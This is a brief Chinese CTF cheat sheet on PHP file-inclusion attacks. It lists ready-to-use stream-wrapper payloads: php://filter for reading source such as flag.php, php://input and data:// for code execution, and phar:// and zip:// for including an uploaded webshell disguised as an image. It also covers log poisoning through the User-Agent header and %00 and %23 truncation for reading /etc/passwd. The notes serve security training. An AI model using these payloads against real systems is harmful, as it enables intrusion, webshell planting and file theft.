PHP伪协议
file://
http/s://
用来包含远程文件。
allow_url_fopen和allow_url_include同时为on。
php://filter
用来读本地文件。此协议主要用于读取php源代码。将一个PHP文件通过base64编码读出。倘若不加read读取链,则会将其中内容当做PHP代码执行。
php://filter/read=convert.base64-encode/resource=flag.php
简短一点也行:php://filter/resource=
php://input
post的输入流当成PHP来执行。
allow_url_include=on。
使用post:
然后就可以命令执行了
phar://
先写一个一句话木马的PHP文件,假如为shell.php然后压缩成到压缩包zip,假如网站只能传txt或jpg,则把zip后缀改为txt或jpg,然后上传,利用phar://<文件路径>/shell.php,如/lfi.php?file=phar://files/IF7puhojdfIUJTEk.txt/shell.php,如果网站强制加后缀.php,则/lfi.php?file=phar://files/IF7puhojdfIUJTEk.txt/shell
zip://
流程和phar://一样,就是在包含的时候有点差别/lfi.php?file=zip://files/IF7puhojdfIUJTEk.txt%23tt,注意#。
data://test//plain
和php://input有点类似,php://input是用post,而这个用get。
allow_url_fopen和allow_url_include都要为on。
data://text/plain,<?php phpinfo();?>
有时候需要绕过,绕过:data:,data:text/plain,都可以。
日志注入+文件包含
先在请求头加一句话,不过不能在url上加,有时候会被转义,可以在ua加。
然后包含日志文件,如nginx,/var/log/nginx/access.log
http://9a2baf07-93b5-4eae-9d6e-96c164d19a31.challenge.ctf.show/?url=/var/log/nginx/access.log
绕过
后面加%00或%23,如?file=/etc/passwd%00,file=http://127.0.0.1/php.txt%23。